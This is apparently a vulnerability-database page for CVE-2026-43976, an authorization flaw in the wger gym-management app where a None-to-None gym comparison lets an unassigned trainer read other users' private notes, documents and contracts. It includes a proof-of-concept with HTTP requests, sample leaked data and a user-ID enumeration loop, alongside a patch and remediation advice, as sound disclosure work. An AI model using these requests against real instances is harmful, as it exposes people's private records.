Skip to main content

wger CVE-2026-43976

| EUVDEUVD-2026-94328 HIGH
Incorrect Authorization (CWE-863)
2026-10-07 https://github.com/wger-project/wger GHSA-c72h-82w6-rqfp
7.1
CVSS 3.1 · Vendor: https://github.com/wger-project/wger
Share

Severity by source

Vendor (https://github.com/wger-project/wger) PRIMARY
7.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
vuln.today AI
7.1 HIGH

Remote web endpoints (AV:N, AC:L); attacker needs a delegated trainer account, so PR:L not PR:N; no UI; same authority (S:U); high PII disclosure (C:H) with limited permission-edit integrity impact (I:L) and no availability loss.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/wger-project/wger).

CVSS VectorVendor: https://github.com/wger-project/wger

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

4
POC Analysis Generated
Oct 07, 2026 - 15:21 vuln.today
Patch available
Oct 07, 2026 - 15:02 EUVD
Analysis Generated
Oct 07, 2026 - 14:05 vuln.today
CVE Published
Oct 07, 2026 - 13:33 github-advisory
HIGH 7.1

DescriptionCVE.org

Summary

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

python
# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()
# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)
# only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter - there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints:

  • GET /en/gym/notes/list/user/<member_pk> -> admin notes list view
  • GET /en/gym/documents/list/user/<member_pk> -> documents list view
  • GET /en/gym/contract/list/<member_pk> -> contracts list view
  • GET /en/gym/user/<member_pk>/config -> user config view
  • GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

diff
--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()
# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)

RBAC Disproof Protocol:

  • Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)
  • Scenario B (trainer1, gym=None -> alice gym=None) -> HTTP 200 with PII in body (expected HTTP 403)
  • Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An authenticated trainer with gym.gym_trainer + gym.add_adminusernote permissions and userprofile.gym=None can:

  1. Enumerate and read all private admin notes for every other gym=None user (notes may contain salary data, medical notes, disciplinary records).
  2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
  3. Read all gym contracts (financial terms, subscription details).
  4. Read user configuration details.
  5. Via the permissions endpoint, potentially modify victim permissions (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).

Affected deployments: every wger instance where gym.gym_trainer + gym.add_adminusernote are delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).

This is structurally the same bug class as the sibling findings affecting trainer_login and reset_user_password (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - warrants a shared same_gym() helper applied across all five views.

AnalysisAI

Cross-tenant information disclosure in wger allows an authenticated trainer account that holds both the gym.gym_trainer and gym.add_adminusernote permissions but has no gym assignment (userprofile.gym = None) to read private admin notes, uploaded documents, gym contracts, user configuration and permission data belonging to any other unassigned (gym = None) user on the same instance. The root cause is an authorization guard that fails open: the five affected views compare gym objects with the Python operator '!=', and 'None != None' evaluates to False, so HttpResponseForbidden is never reached and the following queryset is filtered only by the attacker-supplied member_id. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

No credit card · 7-day full trial

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated account holding BOTH the gym.gym_trainer AND gym.add_adminusernote Django permissions, with that account's userprofile.gym set to None (unassigned). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine access-control defect (CWE-863) rather than an inflated high-CVSS issue, but its real-world urgency is moderate and gated by preconditions. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Apply the vendor fix from GitHub advisory GHSA-c72h-82w6-rqfp, which replaces the 'gym_a != gym_b' object comparison with an explicit null check on gym_id plus an identity comparison (rejecting any trainer whose gym_id is None), adds a tenant-scoped secondary filter to each queryset, and centralizes the logic in a shared assert_same_gym() helper; upgrade to a wger release that contains this change (the advisory references the 2.6 release tag, and note that 2.6 introduces breaking changes including MFA/social-auth re-login requirements, so test in staging first). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: audit all wger user accounts for those with gym=None, immediately remove the gym.gym_trainer and gym.add_adminusernote permissions from any such users, and disable public registration if feasible or enforce immediate gym assignment upon account creation; also enable detailed access logging for admin notes, documents, and user configuration views. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-43976 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy